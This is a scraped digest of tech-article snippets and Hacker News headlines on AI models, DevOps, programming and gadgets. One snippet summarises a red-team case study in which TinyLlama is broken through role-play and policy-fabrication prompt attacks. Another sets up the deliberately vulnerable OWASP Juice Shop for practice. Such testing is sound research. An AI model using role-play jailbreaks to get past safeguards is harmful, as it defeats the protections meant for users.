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    AI in Medicine: A Physician–Engineer’s Perspective on the Future of Healthcare
    By Dr. Alireza Minagar — Software Engineer, AI Researcher, Bioinformatics Scientist, and Author Artificial intelligence is transforming nearly every industry, but its impact on healthcare is deeper, faster, and more disruptive than any other domain. As both a physician–researcher and a software engineer working in AI and bioinformatics, I see medicine not as a siloed profession, but as a data-driven ecosystem ready for reinvention. AI is not just automating tasks or digitizing workflows. My goal in this article is to share a dual perspective: Why AI Matters in Modern Medicine Medicine has always relied on pattern recognition: Radiology interprets pixel-level patterns Behavioral medicine interprets cognitive patterns Cardiology interprets electrical patterns Pathology interprets cellular patterns Bioinformatics interprets genomic patterns AI, fundamentally, is a pattern-recognition engine capable of processing scale far beyond human capability. Where a clinician may analyze a dozen variables, a modern model can process thousands—across modalities: MRI data Electronic health records Voice and language biomarkers Wearable signals Genomic sequences Environmental data This is augmented intelligence, not replacement intelligence. Image Disclosure: The header image was generated using AI for illustrative and educational purposes and does not depict real medical data or real clinical environments. ⭐ SEO Keywords (for indexing) AI in medicine, artificial intelligence in healthcare, future of healthcare, machine learning, bioinformatics, software engineering, healthcare technology, physician–engineer, computational medicine, data-driven healthcare, AI research, Dr. Alireza Minagar.  ( 7 min )
    📁Kubernetes Project Folder Structure
    A well-structured Kubernetes project repo usually looks like this: k8s-project/ ├── README.md ├── docs/ ├── manifests/ │ ├── namespaces/ │ ├── deployments/ │ ├── services/ │ ├── ingresses/ │ ├── configmaps/ │ ├── secrets/ │ ├── storage/ │ └── crds/ ├── overlays/ │ ├── dev/ │ ├── test/ │ └── prod/ ├── charts/ ├── scripts/ ├── ci-cd/ └── templates/ Now let's break down every folder, its purpose, what goes inside, and why it exists. README.md Your project documentation. Overview of the application How to deploy Pre-requisites (kubectl, kustomize, helm, cluster roles) CI/CD instructions docs/ – Architecture Documentation Used for: Architecture diagrams Flowcharts Troubleshooting guides Onboarding docs Example: docs/ ├── architecture.png ├── sequence-flows.md └─…  ( 8 min )
    Async-Revolution-The-New-Paradigm-of-High-Concurrency-Programming
    GitHub Home That was at a financial technology company where we needed to build a trading system capable of handling hundreds of thousands of concurrent connections. Traditional synchronous IO models were completely inadequate for this scenario, as each thread blocking waiting for network responses would exhaust system resources. When the technical director handed me this important task, I knew clearly: this was the ultimate test of async programming capabilities. I began researching various async implementation approaches. Node.js's event loop mechanism was an early async exploration that avoided thread switching overhead through single-threaded event-driven design. This design philosophy was revolutionary at the time, but faced with modern multi-core processors, the limitations of single…  ( 9 min )
    Dev-Experience-Glorious-Transformation
    GitHub Home I remember the scene when I first encountered this framework. It was a Sunday afternoon, and I was having a headache over an architectural problem of a project. Our codebase was becoming increasingly complex, performance problems were emerging one after another, and complaints from team members were endless. At this moment, a young colleague recommended this framework to me. Honestly, I was skeptical at the time. "Another web framework?" I muttered to myself, "I've seen too many." But out of respect for my colleague, I still decided to give it a try. What shocked me was that from the first "Hello World," I felt an unusual development experience. No complex configuration files, no lengthy dependency installation process, and certainly none of those "convention over configuration…  ( 9 min )
    How Does Gemini 3 Process Our Queries?
    The Multi-Step Workflow from Client Input to Agentic Reasoning and Final Output Gemini 3, Google's advanced multi-modal AI model, uses a highly complex and sequential process to understand a user's query and generate a comprehensive, accurate response. This workflow goes far beyond simple text prediction, incorporating modality fusion, external tool calls, self-correction, and robust safety checks. The process begins with the raw user data and prepares it for the core model: Client Input: The user provides an input, which can be text, image, audio, or a combination (multi-modal). For example, asking: "How much does a tiger weigh?" while including an image of a tiger. Preprocessing and Tokenization: The raw input is cleaned and broken down into smaller, numerical units (tokens/embeddings)…  ( 8 min )
    The new gold rush is not the next AI productivity app. It's building the critical infrastructure for the startups.
    Why AI Infrastructure Startups Are the Real Gold Rush Jaideep Parashar ・ Nov 29 #ai #buildinpublic #development #webdev  ( 6 min )
    Kicking Off: Expert Analysis for World Cup 2026
    The countdown to the highly anticipated World Cup 2026 has begun, and national teams around the globe are intensifying their preparations for the biggest stage in international football. In recent news, USA Basketball Women's National Team announced a December training camp to fine-tune their skills and strategy ahead of the global tournament. This development serves as a reminder that team preparation is key to success at the World Cup. Training camps are an essential part of a national team's preparations for major tournaments like the World Cup. These camps provide an opportunity for teams to come together, bond, and fine-tune their tactics under the guidance of experienced coaches. By gathering top players from across the country, teams can: Develop chemistry: Building trust and unde…  ( 8 min )
    Why AI Infrastructure Startups Are the Real Gold Rush
    Everyone is talking about AI apps. But here’s the truth that most founders and investors will realise too late: The real opportunity in AI isn’t in the apps. Not the shiny front-end tools. The deepest, most durable value is in the: orchestration layers data pipelines agent frameworks evaluation systems vector infrastructure monitoring tools automation backbones memory systems inference optimisation layers This isn’t the glamorous part of AI. Let me break down why. 1. AI Apps Are Easy to Build, and Easy to Kill Most AI apps today can be built in: a weekend with a small team with a simple UI on top of existing APIs The barrier to entry is low. And because they're all built on the same models, the differences between them are: invisible small temporary If your product depends entirely on an A…  ( 10 min )
    Server Components aren't SSR!
    React Server Components vs. Server-Side Rendering: what’s really happening under the hood  ( 5 min )
    The Secret Life of Go: Maps
    Chapter 5: Keys, Values, and the Art of Looking Things Up Friday morning arrived with clear skies. Ethan descended to the archive carrying the usual coffee tray and a small paper bag. Eleanor looked up from her desk. "What did you bring today?" "Black and white cookies. I figured we've covered enough territory this week to deserve them." She smiled and took one. "The optimist's cookie—never commit to just one flavor. Appropriate for today's topic." "Which is?" "Maps. Or as other languages call them: dictionaries, hash tables, associative arrays. The data structure for when you need to look things up." Eleanor opened her laptop and typed: package main import "fmt" func main() { var ages map[string]int fmt.Println(ages) } She ran it: map[] "This declares a map. map[string]int m…  ( 12 min )
    Hacia una Tipografía Web Accesible para la Dislexia: Evidencia Neurocognitiva, Guías W3C y Recomendaciones de Diseño CSS
    Resumen Este artículo sustenta que la accesibilidad tipográfica para personas con dislexia en entornos digitales no se logra mediante la adopción de una "fuente mágica" (p. ej. OpenDyslexic), sino a través de un conjunto de decisiones de diseño sistemáticas: tipografías sans‑serif estándar bien configuradas, espaciado cuidadosamente ajustado, contraste cromático moderado, alineación no justificada y, sobre todo, amplias opciones de personalización por parte del usuario. Se argumenta que la teoría del déficit fonológico, complementada por la evidencia sobre alteraciones magnocelulares y de "temporal sampling", ofrece el marco neurocognitivo más sólido para entender la dislexia; sin embargo, estos déficits se expresan en la interfaz a través de fenómenos como el crowding visual, la sensibi…  ( 18 min )
    Instalar JUICE SHOP (owasp) en Linux
    En mi caso voy a instalarlo en parrot y hacerlo funcionar de manera sencilla con tres simples pasos. OWASP Juice Shop es un entorno de práctica de ciberseguridad. Piensa en él como un “juego de hacking legal”: Es una aplicación web falsa, parecida a una tienda online (de jugos, de ahí el nombre). Tiene fallos de seguridad intencionales de todo tipo: SQL Injection Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Autenticación rota Exposición de datos sensibles Y muchos más En mi caso voy a crear un contenedor en el cual estará instalada la pagina web de Owasp Juiceshop y a la cual podremos atacar sin ningún temor al estar instalada en mi propio equipo (localhost). Para instalar el Docker o Contenedor en linux habremos de ser administradores: sudo su seguimos instalando el docker apt install docker.io nos aseguramos que funciona docker --version docker ps e instalamos juiceshop y le damos el puerto 3000, que será el puerto por el que accederemos a la web para verla. docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop -d → ejecuta en segundo plano --name juice-shop → nombre del contenedor -p 3000:3000 → expone el puerto 3000 para acceder desde mi navegador accedemos vía navegador web. En mi caso Firefox y vemos la famosa web de practicas. Ahí verás la tienda simulada, lista para aprender y practicar conceptos de seguridad de manera ética. Ale, a trabajar.  ( 6 min )
    Async-Programming-New-Era
    GitHub Home As a veteran with 40 years of programming experience, I have experienced various stages of async programming development. Remember those days of writing code with callback hell? Every asynchronous operation required a callback function, and nested callbacks formed a terrifying pyramid, making code readability and maintainability extremely poor. At that time, I often stayed up late debugging those complex callback chains, where a single indentation error could crash the entire application. Then the emergence of Promise gave us a glimmer of hope. Although Promise made async code flatter, chained calls still seemed lengthy, and error handling was relatively complex. I clearly remember once when dealing with complex business logic, I wrote dozens of lines of then chains, only to fi…  ( 9 min )
    Local LLM Hosting: Complete 2025 Guide - Ollama, vLLM, LocalAI, Jan, LM Studio & More
    Local deployment of LLMs has become increasingly popular as developers and organizations seek enhanced privacy, reduced latency, and greater control over their AI infrastructure. The market now offers multiple sophisticated tools for running LLMs locally, each with distinct strengths and trade-offs. Before cloud-based AI services dominated the landscape, the idea of running sophisticated language models on local hardware seemed impractical. Today, advances in model quantization, efficient inference engines, and accessible GPU hardware have made local LLM deployment not just feasible but often preferable for many use cases. Key Benefits of Local Deployment: Privacy & data security, cost predictability without per-token API fees, low latency responses, full customization control, offline cap…  ( 20 min )
    Beyond the Pinch: Unlock New Robotic Dexterity with Hybrid Gripping
    Beyond the Pinch: Unlock New Robotic Dexterity with Hybrid Gripping Tired of robots struggling with simple tasks like wiping a counter or opening a handle-less drawer? Traditional robotic grippers often fall short when facing objects requiring more than just a firm grasp. What if your robot could adapt to handle slick surfaces and delicate objects with ease? The answer lies in hybrid gripping: a revolutionary technique that combines the precision of a mechanical gripper with the adhesive power of vacuum suction in a single end-effector. This dual-mode approach enables robots to perform a wider range of tasks, switching seamlessly between gripping and suction as needed, or even using both simultaneously. Think of it like this: a standard gripper is like a hand that can only pinch, while a…  ( 7 min )
    Monetzly: The AI Monetization Tool for LLM App Developers
    Traditional Ads Don't Work in AI Conversations. Here's What Does. As the landscape of AI applications continues to expand rapidly, many developers face a crucial challenge: how to effectively monetize their innovations without compromising user experience. Enter Monetzly—a platform that redefines the advertising paradigm for AI conversations. Imagine a world where you can monetize your app and earn from hosting relevant ads, all while keeping user engagement seamless. Let’s dive into how Monetzly’s innovative advertiser marketplace makes this possible. Monetzly is the first platform designed specifically for developers to monetize their AI applications through a dual-earning system. This means you can earn revenue from two sources: Direct Monetization: Integrate our SDK in just five min…  ( 7 min )
    Linux vs Windows for Development in 2025
    Which Operating System Is Better for Developers Choosing the right operating system is one of the most important decisions for a developer. The OS you work on shapes your workflow, your toolchain, your performance, and even your long term productivity. Linux and Windows remain the two leading platforms for development. Both are powerful and widely adopted, but they offer very different experiences. This article breaks down how they compare and which one is better depending on your development goals. What Linux Offers Developers Linux is built around openness, stability, and control. It gives developers deep access to the system while remaining lightweight and efficient. Most modern programming languages and server technologies were built with Linux as the primary target. This makes Linux a…  ( 8 min )
    Node.js vs PHP: Which One Is Better for Modern Web Development in 2025
    Choosing a backend technology is one of the most important decisions in web development. Node.js and PHP are two of the most widely used technologies today. Both are powerful, both have large ecosystems, and both can support production grade applications. However they differ in design philosophy, performance, scalability, and overall developer experience. This article explains their strengths, weaknesses, and which one fits best for different types of projects. > What Node.js Is Node.js is a JavaScript runtime built on the V8 engine. It is designed around an event driven and nonblocking architecture which makes it highly efficient for handling large numbers of simultaneous connections. Developers benefit from using the same programming language on both the client and the server. This gives…  ( 8 min )
    Connection-Management-Wisdom
    Hyperlane is a lightweight and high-performance Rust HTTP server library designed to simplify network service development. It supports HTTP request parsing, response building, TCP communication, and redirection features, making it ideal for building modern web services.  ( 5 min )
    I Built My Entire Website in 4 Hours Using AI (Cursor + Antigravity) 🚀
    Let’s address the elephant in the room: I didn't write a single line of code for this project manually. Okay, that’s a bit of a lie. I read every line, but my hands were mostly on the coffee mug while the AI did the heavy lifting. I recently decided to run an experiment: create a fully functional, high-performance portfolio site generating 100% of the code via AI. The result? A project that would have usually taken me a week of late nights was done in 4 hours of prompting spread over two days. You can see the final, live result here: stackbyte.dev Here is how I did it, the stack I used, and why I think AI is the ultimate "adventure companion" for devs. I didn't just use ChatGPT and copy-paste into VS Code. I needed a highly integrated flow capable of handling a modern, production-ready sta…  ( 8 min )
    **Title:** Amundi Pioneers Blockchain-Based Fund Distribution with Launch of Tokenized Money Market Fund on Ethereum
    Title: Amundi Pioneers Blockchain-Based Fund Distribution with Launch of Tokenized Money Market Fund on Ethereum Introduction The adoption of blockchain technology in the financial sector has been gaining momentum in recent years, with a growing number of institutions exploring its potential for secure, transparent, and efficient fund distribution. In a significant development, Amundi, Europe's largest asset manager, has launched its first tokenized share class on Ethereum, marking a major milestone in the continent's shift toward blockchain-based fund distribution. A Major Step in Blockchain Adoption Amundi's decision to launch a tokenized money market fund on Ethereum underscores the rapid growth of this emerging asset class. Tokenized money market funds offer investors a new way to ac…  ( 7 min )
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    Check out this Pen I made!  ( 5 min )
    [AWS] DevTools Evangelism: CodeCommit Edition
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/a8be2eee9ee9d81326cb This article is the first day of the Japan AWS Top Engineers Advent Calendar 2025. AWS CodeCommit, whose phase-out was announced in July 2024, was canceled on November 24, 2025, and it became generally available again. ↓Article about AWS CodeCommit's re-release https://aws.amazon.com/jp/blogs/news/aws-codecommit-returns-to-general-availability/ ↓Click here for the Japan AWS Top Engineers Advent Calendar 2025 https://qiita.com/advent-calendar/2025/aws-top-engineers AWS CodeCommit is a version control service provided by AWS that hosts repositories. Similar services include GitHub and GitLab. In the CodeCommit console, select "Create Rep…  ( 9 min )
    Winning Grant Proposals: AI Illustration Techniques That Convince
    Winning Grant Proposals: AI Illustration Techniques That Convince Grant applications represent career-defining moments for researchers, determining funding for years of investigation and team development. Whether you're applying to NIH, NSF, European Research Council, or private foundations, compelling visuals can differentiate your proposal in highly competitive review processes. However, creating professional grant graphics presents significant challenges: limited illustration budgets during proposal preparation, tight submission deadlines leaving minimal time for visual development, and the need to communicate complex methodologies to interdisciplinary review panels. AI-powered illustration is transforming how researchers strengthen grant applications. Complex research designs that onc…  ( 22 min )
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    Huawei Mate X7 Global Debut Slated For 11 December 2025
    Earlier this week, Huawei unveiled its newest book-style foldable in its home market. Shortly after the China launch of the Mate X7, the company revealed that it will be releasing the smartphone globally. Through its official social media accounts, Huawei announced that it will host a “Flagship Product Launch” in Dubai on 11 December 2025. […] The post Huawei Mate X7 Global Debut Slated For 11 December 2025 appeared first on Lowyat.NET.  ( 33 min )
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    A triangle whose interior angles sum to zero
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    The Fatal Trap UBI Boosters Keep Falling Into
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    Fabric Project
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    Confessions of a Software Developer: No More Self-Censorship
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    A Tale of Two AI Failures: Debugging a Simple Bug with LLMs
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    How to Short the Bubbliest Firms
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    A first look at Django's new background tasks
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    Airbus A320 – intense solar radiation may corrupt data critical for flight
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    Flight disruption warning as Airbus requests modifications to 6k planes
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    The Secret Superfood of Thanksgiving
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    Ask HN: What is the purpose of all these AI spam comments?
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    Airbus A320 Fly by wire corrupted by radiation in flight
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    Electron vs. Tauri
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    Good engineers write bad code at big companies
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    The original ABC language, Python's predecessor (1991)
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    Effective harnesses for long-running agents
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    Show HN: Pulse 2.0 – Live co-listening rooms where anyone can be a DJ
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    Imgur Geo-Blocked the UK, So I Geo-Unblocked My Network
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    Poll HN: What operating system do you primarily develop on?
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    28M Hacker News comments as vector embedding search dataset
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    Rock Paper Scissors Solitaire
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    Molly: An Improved Signal App
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    JSON Schema Demystified: Dialects, Vocabularies and Metaschemas
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    Show HN: An LLM-Powered Tool to Catch PCB Schematic Mistakes
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    Anti-patterns while working with LLMs
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    C++ Web Server on my custom hobby OS
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    Bringing Sexy Back. Internet surveillance has killed eroticism
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    Apple and Intel Rumored to Partner on Mac Chips
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    200 Lines of Python beats $50M supercomputer – Navier-Stokes at Re=10⁸ [pdf]
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    So you wanna build a local RAG?
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    Airloom – 3D Flight Tracker
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    Lobsters Interview
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    Stellantis Is Spamming Owners' Screens with Pop-Up Ads for New Car Discounts
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    True P2P Email on Top of Yggdrasil Network
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    AI Adoption Rates Starting to Flatten Out
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    Artificial Computation
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    Meta hiding $27B in debt using advanced geometry
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    The Signal Is the Noise
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    Looking Back at a Pandemic Simulator
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    Open-Source Nouveau+NVK vs. Nvidia 580 Linux Gaming&Compute Driver Performance
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    Tell HN: Want a better HN? Visit /newest
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    Open-Source n8n Alternative for Workflow Building (GUI and Docker Included)
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    Generating 3D Meshes from Text
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    Language is primarily a tool for communication rather than thought [pdf]
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    Writing Builds Resilience in Everyday Challenges by Changing Your Brain
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    A trillion dollars (potentially) wasted on gen-AI
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    A Remarkable Assertion from A16Z
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    The mysterious black fungus from Chernobyl that may eat radiation
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    A Tale of Four Fuzzers
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    Switzerland: Data Protection Officers Impose Broad Cloud Ban for Authorities
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    Your Company Page Is Getting Ignored: LinkedIn's Quiet Algorithm Revolution
    Last month, I ran a simple test. Same content. Same time of day. One post from our company page, one from my personal profile. The personal post got 8x more impressions and 12x more engagement. This wasn't a fluke. It's the new reality of LinkedIn in 2025, and if you're still pouring resources into company page content while wondering why your reach keeps declining, well... now you know. LinkedIn hasn't exactly announced this shift with a press release. But the data is everywhere once you start looking. Personal profiles are seeing 5-10x higher organic reach than company pages for similar content. HubSpot's social team noticed it. Buffer documented it. And every B2B marketer I know has been quietly freaking out about it since mid-2024. The engagement gap is even starker. Comments, shares, …  ( 12 min )
    Finding Strength in Code, Part 2: Lessons from Loss and the Power of Reflection
    It’s been more than a year since I published the post — Finding Strength in Code: Navigating Emotional Overwhelm as a Software Engineer — and yeah, the trip from there to here was worth it. At some point, I realised I had built a whole personality just to fit in a place that wasn’t mine. Fixing that mess turned out to be one of the most significant projects of my life, and strangely enough, my job was one of the main tools that helped me do it. Years of tackling complex codebases and deadlines didn't just sharpen my technical skills; they equipped me to address my personal struggles and sustain a more profound sense of purpose amid life's chaos. My inspiration for this follow-up struck at the crossroads of my daily grind and more profound reflections. Recently, my dog passed away, and once…  ( 10 min )
    Introducing 8-bitHero Labs: Building Neurodivergent-Optimized AI
    Introducing 8-bitHero Labs: Building Neurodivergent-Optimized AI I'm autistic and ADHD. I'm also a developer building AI. The Problem Pattern recognition (especially obscure connections) Hyperfocus (going deep on complex problems) Lateral thinking (unconventional problem-solving) Detail orientation (catching what others miss) Systems thinking (understanding how pieces fit together) Yet when we use AI, it's optimized for neurotypical cognition. It doesn't understand our thinking style. It doesn't support our strengths. The Vision What if we built an AI that did? Understands pattern-based thinking Supports executive function challenges Helps with emotional communication and processing Works as a daily companion for people with disabilities Leverages the unique strengths of neurodivergent …  ( 7 min )
    Best AI Model 2025: Claude 4.5 vs ChatGPT 5.1 vs Gemini 3
    In the closing stretch of 2025, three frontier models have effectively defined the state of AI: Anthropic’s Claude Opus 4.5, OpenAI’s ChatGPT 5.1 (GPT-5.1), and Google DeepMind’s Gemini 3 Pro. Each sits at the top of its respective stack. Each claims “state-of-the-art” status. And each is, in practice, very good at slightly different things. All three are: Large, transformer-based systems with frontier-scale training runs Tuned with some mix of RLHF, AI feedback, and heavy agent/tool-use data Capable of multi-step reasoning, coding, and handling massive context windows But if you’re a developer, architect, or product lead, the question is not “which is best in the abstract?” It’s which one is best for my workload – and when does the answer change? This deep dive compares Claude Opus 4…  ( 21 min )
    I built a forensic ATS scanner in 96 hours using LLMs as my backend team. Here is the stack.
    I’m 19. No team. No VC funding. Just me and a laptop. Last week reality hit me hard. I applied to 127 jobs and got 0 interviews. I know I'm a solid dev, so I figured something was broken technically. I dug into the parsing logic of legacy ATS systems like Workday and Taleo. Turns out my "modern" resume was being read as total gibberish because I used columns. I wanted to build a tool to fix this for everyone else. Usually building a full SaaS takes months. I gave myself 4 days. Here is how I built InterviewGhost.us by acting as the Architect and using AI as my engineering team. The Stack Frontend: Next.js + Tailwind. I iterated this via Claude 3.5 Sonnet using "Linear-style" design tokens. Backend: Node.js + Puppeteer. Used this for the forensic PDF generation. Logic: DeepSeek-V3. Used it …  ( 7 min )
    What Is Claude Opus 4.5? Anthropic’s New Frontier AI
    Claude Opus 4.5 is Anthropic’s latest flagship model in the Claude 4.5 family, released in late November 2025. It sits at the very top of the Opus–Sonnet–Haiku hierarchy: the highest-capacity, highest-cost, and most capable tier, aimed squarely at researchers, engineers, and teams building serious AI systems rather than casual chatbots. Opus 4.5 is not just “Claude, but bigger.” It combines: A massive context window with automatic long-term memory management New controls over reasoning depth and token usage Strong tool-use and multi-agent orchestration abilities And an ambitious safety pipeline that Anthropic claims makes it their most aligned model to date In this deep dive, we’ll unpack what Claude Opus 4.5 is, what’s new under the hood, how it was trained and aligned, and how it …  ( 23 min )
    Finding Balance in Architectural Decisions
    In software projects, not every decision needs a full-blown architectural committee or a 30-page design document. But the opposite is also true: some decisions are too important to be treated as a simple quick fix. Every engineering team faces moments where they need to choose between doing something the right way or doing something fast. In Brazil, we often call the fast solution a gambiarra or puxadinho, an improvised workaround that solves the problem for now but usually comes with long-term costs. In English, the closest terms would be a patch, hacky fix, temporary workaround, or band-aid solution. And the reality is: sometimes you do need a quick workaround to move forward. Deadlines exist, business pressure is real, and teams often need short-term progress. The problem starts when th…  ( 7 min )
    Best AI Model in 2025? Gemini 3 vs GPT-5.1 vs Claude 4.5
    Best AI Model in 2025? How Gemini 3, ChatGPT 5.1 and Claude 4.5 Really Compare The closing weeks of 2025 have turned into the most intense AI model showdown we have seen so far. Within a span of weeks: OpenAI shipped GPT-5.1 on November 12 Google responded with Gemini 3 on November 18 Anthropic quietly kept iterating on Claude Sonnet 4.5 throughout September–November For the first time, three frontier systems sit in roughly the same capability band—yet differ sharply in architecture, philosophy, cost, and “personality.” This comparison is based on late-2025 benchmarks, independent leaderboards, developer usage patterns, and enterprise rollouts, not recycled 2024 hype. As of November 23, 2025, here is how Gemini 3, ChatGPT 5.1 and Claude 4.5 actually stack up. At a high level, all …  ( 18 min )
    What Is Meta SAM 3D? Single-Image 3D in 2025
    In November 2025, Meta quietly flipped an important switch in computer vision. With the launch of SAM 3D, the company extended its Segment Anything line from flat pixels into full 3D, turning a single everyday photograph into a textured object you can spin, inspect, and drop into a virtual scene. Instead of treating 3D reconstruction as a specialist pipeline that needs multi-view rigs and depth sensors, Meta SAM 3D asks for just one RGB image and produces a complete 3D mesh — sometimes for entire scenes, sometimes for the human body. It’s open-source, promptable, and already establishing a new baseline for what “single-image 3D” means in practice. This article explains what Meta SAM 3D is, how it works under the hood, which use cases it unlocks, and how it compares to other state-of-the-a…  ( 22 min )
    What Is GPT-5.1-Codex-Max? OpenAI's 2025 AI Coder
    In late 2025, OpenAI introduced GPT-5.1-Codex-Max, a model designed not just to autocomplete code, but to behave like a long-running, tool-using coding agent. Instead of thinking in terms of “responses” or “snippets,” Codex-Max is built to sustain hours or even days of coherent work on a single software project. This article takes a technical, editorial look at what GPT-5.1-Codex-Max is, how its “compaction” mechanism enables long-horizon reasoning, and how developers in the US, EU, and APAC regions can actually use it inside real workflows. We will also examine its benchmarks, pricing implications, and operational guardrails. OpenAI’s GPT-5.1 is the general-purpose conversational model in the GPT-5 family: it handles dialogue, reasoning, and writing across domains. The GPT-5.1-Codex line…  ( 20 min )
    Middleware-Perfect-Symphony
    GitHub Home As a veteran with 40 years of development experience, I've experienced a long evolutionary history of fighting errors in the Node.js world. Early Node.js developers all remember the fear of being dominated by "pyramids." This "error-first" callback style is theoretically feasible, but as business logic becomes more complex, the code extends infinitely to the right, forming an unmaintainable "death pyramid." The emergence of Promise rescued us from callback hell. We could use .then() and .catch() to build a flatter, more readable async chain. This was much better! But new problems arose. If you forgot to return the next Promise in a .then(), or forgot to re-throw an error in a .catch(), the chain would continue executing in an unexpected way. async/await allows us to write async…  ( 9 min )
    I Fixed My WooCommerce Store's Embarrassing Account Page (Without Writing a Single Line of Code)
    Last week, a customer emailed asking if my store was "still in business" because the account dashboard looked "kind of abandoned." That stung. I'd spent $2,000 on a custom theme and countless hours perfecting the product pages, but the moment customers logged into their account, they saw what basically looked like a WordPress admin panel from 2012. The worst part? I knew it was bad. I'd been ignoring it for months. If you're running a WooCommerce store and feeling that same embarrassment every time you think about your account dashboard, this tutorial is for you. I'm going to show you exactly how I transformed mine in under 30 minutes without writing any PHP, editing any template files, or risking a single "white screen of death." Before we get into the fix, let's talk about why this matte…  ( 11 min )
    SQL: CsvPath vis-a-vis SodaCL
    Let's have some more fun with comparing and contrasting schema languages. In this post we'll look a schemas + rules-based validation tool, Soda, vis-a-vis CsvPath Framework's CsvPath Validation Language. SodaCL is the validation rules language for the Soda data quality library. You can learn more at soda.io. I'll say right up front that this is an apples-to-oranges comparison. Here's why: Soda is mainly relational data focused; CsvPath Framework is mainly files focused Soda is a data quality tool; whereas, CsvPath Framework is for data preboarding, which includes data quality, but isn't limited to it SodaCL is a domain-specific language built on YAML that uses embedded SQL; CsvPath Validation Language is a first-class stand-alone validation language, more similar in that regard to DDL o…  ( 9 min )
    Stepping Out of the Comfort Zone - Plan for the Final Stretch
    The Journey So Far Python data ecosystem. In previous releases (0.1 through 0.3), I focused heavily on data engineering and machine learning libraries. I had the opportunity to contribute to Dagster, scikit-learn, and NumPy. These experiences were invaluable. I learned how to navigate complex C-extensions in NumPy, understood the orchestration logic in Dagster, and worked through to the strict code standards of scikit-learn. However, I felt this is another time to move out of the box one more time and push me to the new world. Bridging Data and Application Before I jump into anything, I asked myself: Where do I want to be as a developer? I have some background in data processing, but I want to strengthen my skills in building the applications that utilize this data. I want to bridge the ga…  ( 7 min )
    Case Study: Red Teaming TinyLlama on a Raspberry Pi 5
    Introduction: From Docker Woes to LLM Jailbreaks This case study details the technical journey of setting up a local, self-hosted Large Language Model (LLM)—TinyLlama—on a Raspberry Pi 5 using Ollama and Open WebUI. It culminates in a red team exercise where the model's safety and integrity are tested against common prompt injection and hallucination attacks. The exercise proved that while the model is technically resilient in some areas, it fails catastrophically when subjected to role-play and policy fabrication attacks. The initial goal was simple: get a web UI running for TinyLlama. The primary challenge was wrestling with Docker networking on a Linux host (the Pi). Technical Setup: Hardware: Raspberry Pi 5 (8GB) LLM: TinyLlama (700M parameters) Runtime: Ollama (Docker Container, Por…  ( 8 min )
    ASP.NET Core Route Names & API Versioning — From “Duplicate Name” Crash to Intentional Routing
    Most .NET developers first meet ASP.NET Core attribute routing in a happy path like this: [ApiController] [Route("api/[controller]")] public class CategoriesController : ControllerBase { [HttpGet("{id:int}", Name = "GetCategory")] public IActionResult GetCategory(int id) { ... } } Hit F5, the app runs, CreatedAtRoute("GetCategory", ...) works, and everything feels good. Then one day you add API versioning and suddenly your app dies on startup with something like: Attribute routes with the same name 'GetCategory' must have the same template This post will walk you through: What this error really means. Why it appears as soon as you start versioning controllers. Three clean ways to fix it (including when each one makes sense architecturally). How to design versioned routes and route…  ( 12 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less is a Cinema Sins video that gleefully points out every nitpick and “sin” in the new Fantastic Four movie—drops a few jokes, spoils some moments, and ultimately declares it “sintastic” rather than outright terrible. It kicks off with a shout-out to sponsor BetterHelp (discount link included), because even sin-counting can be stressful. On top of the main feature, Cinema Sins plugs their website, Linktree for all the latest updates, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a sinful viewer poll, Patreon support, and social hangouts (Discord, Reddit, Instagram, TikTok). Writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel all get a nod in the credits. Watch on YouTube  ( 6 min )
    Building My Personal Website: From Idea to Automated Deployment (Part 1)
    The idea of creating my own personal website—a place where I could share projects I'm working on and document my technical journey—has been on my mind for a long time. But as with many personal projects, it kept getting pushed aside. Finally, I found the time, and here it is: mikula.dev. In this post, I want to share how I built it, what tools I chose, and why. When looking for a site generator, I had a few requirements in mind: it needed to be simple yet flexible, fast, and shouldn't require hours of configuration just to get started. After evaluating several options, I settled on Hugo. Hugo is one of the fastest static site generators out there. Written in Go, it can build thousands of pages in seconds. But speed isn't the only advantage—it generates pure static HTML files, which makes h…  ( 9 min )
    Introducing gitresume, an open-source cli tool for building résumé with LLM support
    One of the challenges I’ve faced in the past is keeping track of my contributions across different projects, teams, and companies. When it’s time to update my résumé during a job search, it often turns into a struggle to recall what I’ve recently accomplished. This is why I built Gitresume, a tool that helps me: Keep track of my contributions Create résumés with AI assistance Gain insights from my Git commits Export my résumé in multiple formats To get started, visit https://gitresume.app and follow the installation instructions. Mac OSX $ brew tap iamhabbeboy/homebrew-tap $ brew install iamhabbeboy/tap/gitresume Linux curl -sL https://raw.githubusercontent.com/iamhabbeboy/gitresume-cli/main/install.sh | bash Windows choco install gitresume --version=0.1.0 To create a résumé, start the Gitresume server using the command below. $ gitresume Usage: gitresume [command] Available Commands: ai Test AI integration help Help about any command init Initialize gitresume config seed Seed your commit messages serve Web dashboard for managing your resumes Flags: -h, --help help for gitresume Use "gitresume [command] --help" for more information about a command Then start the server using $ gitresume serve 🚀 Starting dashboard on http://localhost:4000 ✨ Build your resume visually... Next, open your browser and navigate to the dashboard URL. From there, click on Resumes. Click Create Resume to begin You can now start editing the form and customizing your résumé Check out the full demo on how to create your résumé with Git activity + AI support  ( 7 min )
    The Secret Life of Go: Arrays and Slices
    Chapter 4: Collections and the Art of Growing Lists Thursday morning brought rain. Ethan arrived at the archive shaking water from his jacket, balancing a coffee tray and a small pastry box. Eleanor glanced up from her laptop. "Wet out there?" "November in New York." He set down the coffees and opened the box. "Rugelach today. Chocolate and cinnamon." "You're learning the neighborhood." She took one and bit into it. "What made you choose rugelach?" "The baker said they're good for thinking. Something about the layers." Eleanor smiled. "Layers. Perfect. Today we're talking about collections—how to store multiple pieces of data. And yes, there are layers to this story." She opened a new file. "Tell me, Ethan. If I asked you to store five numbers, how would you do it?" "Five variables?" "Yo…  ( 12 min )
    5 Ways to Reduce PDF File Size Without Losing Quality
